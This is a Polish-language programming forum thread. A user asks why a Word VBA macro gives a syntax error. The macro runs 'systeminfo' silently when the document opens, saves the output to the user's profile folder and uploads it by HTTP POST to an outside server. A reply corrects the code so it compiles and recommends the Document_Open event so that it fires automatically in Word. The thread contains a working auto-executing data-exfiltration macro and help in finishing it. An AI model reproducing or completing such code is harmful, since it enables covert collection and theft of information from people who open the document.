visual basic i wysyłanie plików na serwer

0

Potrzebuję wykonać polecenie w shellu a następnie jego wynik wysłać do serwera, mam to zrobić przez makro w Wordzie i niestety średnio znam się na VB. ktoś mógłby mi powiedzieć czemu ten kod zwraca Syntax error?

Sub Run_Cmd(command, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "%COMSPEC% /c " & command, visibility, wait_on_execute
End Sub

Sub Run_Program(program, arguments, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run program & " " & arguments & " ", visibility, wait_on_execute
End Sub

Const INVISIBLE = 0
Const WAIT = True
Private Sub pvPostFile(sUrl As String, sFileName As String, sPath As String, Optional ByVal bAsync As Boolean)
    Const STR_BOUNDARY  As String = "3fbd04f5-b1ed-4060-99b9-fca7ff59c113"
    Dim nFile           As Integer
    Dim baBuffer()      As Byte
    Dim sPostData       As String
 
    '--- read file
    nFile = FreeFile
    Open sPath For Binary Access Read As nFile
    If LOF(nFile) > 0 Then
        ReDim baBuffer(0 To LOF(nFile) - 1) As Byte
        Get nFile, , baBuffer
        sPostData = StrConv(baBuffer, vbUnicode)
    End If
    Close nFile
    '--- prepare body
    sPostData = "--" & STR_BOUNDARY & vbCrLf & _
        "Content-Disposition: form-data; name=""uploadfile""; filename=""" & Mid$(sFileName, InStrRev(sFileName, "\") + 1) & """" & vbCrLf & _
        "Content-Type: application/octet-stream" & vbCrLf & vbCrLf & _
        sPostData & vbCrLf & _
        "--" & STR_BOUNDARY & "--"
    '--- post
    With CreateObject("Microsoft.XMLHTTP")
        .Open "POST", sUrl, bAsync
        .SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & STR_BOUNDARY
        .Send pvToByteArray(sPostData)
    End With
End Sub
Private Function pvToByteArray(sText As String) As Byte()
    pvToByteArray = StrConv(sText, vbFromUnicode)
End Function
Sub Workbook_Open()
Run_Cmd "systeminfo > %USERPROFILE%\temp.txt", INVISIBLE, WAIT
Dim envstring As String
envstring = Environ$("USERPROFILE")
envstring = envstring & "\temp.txt"
pvPostFile("testujemywordpressa.pl/index.php","temp.txt",envstring)
End Function
0
Option Explicit

'consty muszą być przed procedurami i funkcjami
Const INVISIBLE = 0
Const WAIT = True

Sub Run_Cmd(command, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "%COMSPEC% /c " & command, visibility, wait_on_execute
End Sub
 
Sub Run_Program(program, arguments, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run program & " " & arguments & " ", visibility, wait_on_execute
End Sub
 

Private Sub pvPostFile(sUrl As String, sFileName As String, sPath As String, Optional ByVal bAsync As Boolean)
    Const STR_BOUNDARY  As String = "3fbd04f5-b1ed-4060-99b9-fca7ff59c113"
    Dim nFile           As Integer
    Dim baBuffer()      As Byte
    Dim sPostData       As String
 
    '--- read file
    nFile = FreeFile
    Open sPath For Binary Access Read As nFile
    If LOF(nFile) > 0 Then
        ReDim baBuffer(0 To LOF(nFile) - 1) As Byte
        Get nFile, , baBuffer
        sPostData = StrConv(baBuffer, vbUnicode)
    End If
    Close nFile
    '--- prepare body
    sPostData = "--" & STR_BOUNDARY & vbCrLf & _
        "Content-Disposition: form-data; name=""uploadfile""; filename=""" & Mid$(sFileName, InStrRev(sFileName, "\") + 1) & """" & vbCrLf & _
        "Content-Type: application/octet-stream" & vbCrLf & vbCrLf & _
        sPostData & vbCrLf & _
        "--" & STR_BOUNDARY & "--"
    '--- post
    With CreateObject("Microsoft.XMLHTTP")
        .Open "POST", sUrl, bAsync
        .SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & STR_BOUNDARY
        .Send pvToByteArray(sPostData)
    End With
End Sub
Private Function pvToByteArray(sText As String) As Byte()
    pvToByteArray = StrConv(sText, vbFromUnicode)
End Function
Sub Workbook_Open()
Run_Cmd "systeminfo > %USERPROFILE%\temp.txt", INVISIBLE, WAIT
Dim envstring As String
envstring = Environ$("USERPROFILE")
envstring = envstring & "\temp.txt"

'Gdy nie odbierasz zwrotu z funkcji, jej atrybuty nie mogą być podane w nawiasach
pvPostFile "testujemywordpressa.pl/index.php", "temp.txt", envstring
End Sub   'Tu miałeś End Function, chociaż zamykasz Sub

Proszę, kompiluje się, ale czy działa to nie wiem. Raczej wątpię, by działało w Wordzie, bo Workbook_Open to zdarzenie otwarcia szablonu Excellowego. W Wordzie użyj Document_Open.

1 użytkowników online, w tym zalogowanych: 0, gości: 1